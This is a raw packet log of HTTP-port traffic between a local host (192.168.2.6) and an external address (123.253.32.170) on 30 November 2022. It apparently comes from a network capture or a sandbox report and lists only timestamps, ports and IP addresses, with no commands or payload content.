Nov 30, 2022 00:11:09.943134069 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943135977 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943164110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943173885 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943200111 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943217993 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943248987 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943259001 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943279028 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943300009 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943335056 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943345070 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943372011 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943382978 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943398952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943408012 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943437099 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943447113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943475962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943484068 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943505049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943511963 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943542957 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943551064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943579912 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943588018 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943608046 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943614960 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943655968 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943669081 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943685055 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943700075 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943712950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943733931 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943746090 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943757057 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943778038 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943789959 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943821907 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943856001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943895102 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943901062 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943953037 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943962097 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943989038 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944005966 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944025040 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944031954 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944047928 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944071054 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944076061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944092035 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944114923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944153070 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944195032 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944196939 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944221020 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944237947 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944246054 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944258928 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944272995 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944293976 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944298029 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944322109 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944323063 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944339037 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944363117 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944363117 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944406033 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944421053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944446087 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944474936 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944494963 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944495916 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944519997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944539070 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944561958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944567919 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944602013 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944618940 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944658041 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944660902 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944701910 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944705009 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944744110 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944768906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944811106 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944834948 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944864035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944878101 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944891930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944902897 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944931030 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944935083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.944976091 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.944996119 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945023060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945039988 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945050001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945064068 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945074081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945094109 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945118904 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945133924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945161104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945180893 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945203066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945238113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945280075 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945280075 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945322037 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945322990 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945352077 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945367098 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945379019 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945405006 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945417881 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945417881 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945445061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945462942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945487976 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945557117 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945585966 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945600986 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945615053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945626020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945641994 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.945653915 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.945682049 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.201945066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.201993942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.202136993 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.202136993 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.212781906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.213169098 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216020107 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216121912 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216165066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216209888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216253042 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216298103 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216346979 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216351032 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216351032 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216351032 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216389894 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216420889 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216420889 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216435909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216479063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216495991 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216495991 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216522932 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216567993 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216573954 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216573954 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216612101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216656923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216664076 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216664076 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216702938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216757059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216761112 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216761112 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216804028 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216849089 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216854095 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216855049 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216892958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216955900 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.216974974 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.216974974 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217041016 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217087030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217092991 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217092991 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217134953 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217180967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217181921 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217181921 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217226028 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217271090 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217281103 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217281103 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217317104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217360973 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217369080 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217369080 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217403889 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217447042 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217456102 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217456102 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217490911 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217536926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217541933 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217541933 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217616081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217633963 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217658997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217670918 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217703104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217715979 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217745066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217761040 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217788935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217839956 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217884064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217915058 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217916012 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217916012 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.217941999 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.217959881 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218008995 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218061924 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218061924 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218086958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218144894 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218203068 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218203068 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218210936 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218277931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218338013 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218339920 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218339920 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218394041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218436003 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218442917 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218442917 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218480110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218522072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218530893 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218530893 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218565941 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218611956 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218626976 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218626976 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218656063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218698025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218698025 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218698978 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218743086 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218759060 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218777895 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218786001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218832016 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218863964 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218915939 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.218935966 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.218974113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219018936 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219031096 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.219031096 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.219062090 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219118118 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.219118118 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.219125032 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219172001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219218969 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219264030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219310045 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219352007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219394922 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219438076 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219480038 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219486952 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.219546080 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219615936 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219664097 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219710112 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219752073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219794989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219841003 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.219841957 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.220009089 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.491789103 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.491846085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.491889954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.491935015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.491981983 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492014885 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.492014885 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.492043018 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492110014 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492158890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492208958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492218018 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.492218018 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.492260933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492305040 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492357969 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492400885 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492415905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.492415905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.492449999 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492501020 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492552996 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492604971 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492609024 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.492609024 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.492655993 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492706060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492758036 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492808104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492815018 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.492815018 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.492860079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492908955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.492954016 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493051052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493061066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.493061066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.493103981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493158102 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493225098 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493268967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493280888 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.493280888 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.493311882 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493355989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493398905 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493442059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493458986 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.493458986 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.493485928 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493529081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493571997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493616104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493627071 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.493627071 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.493665934 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493707895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493751049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493803024 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493809938 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.493809938 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.493846893 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493889093 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493932009 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493973017 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.493988037 CET	49725	80	192.168.2.6	123.253.32.170
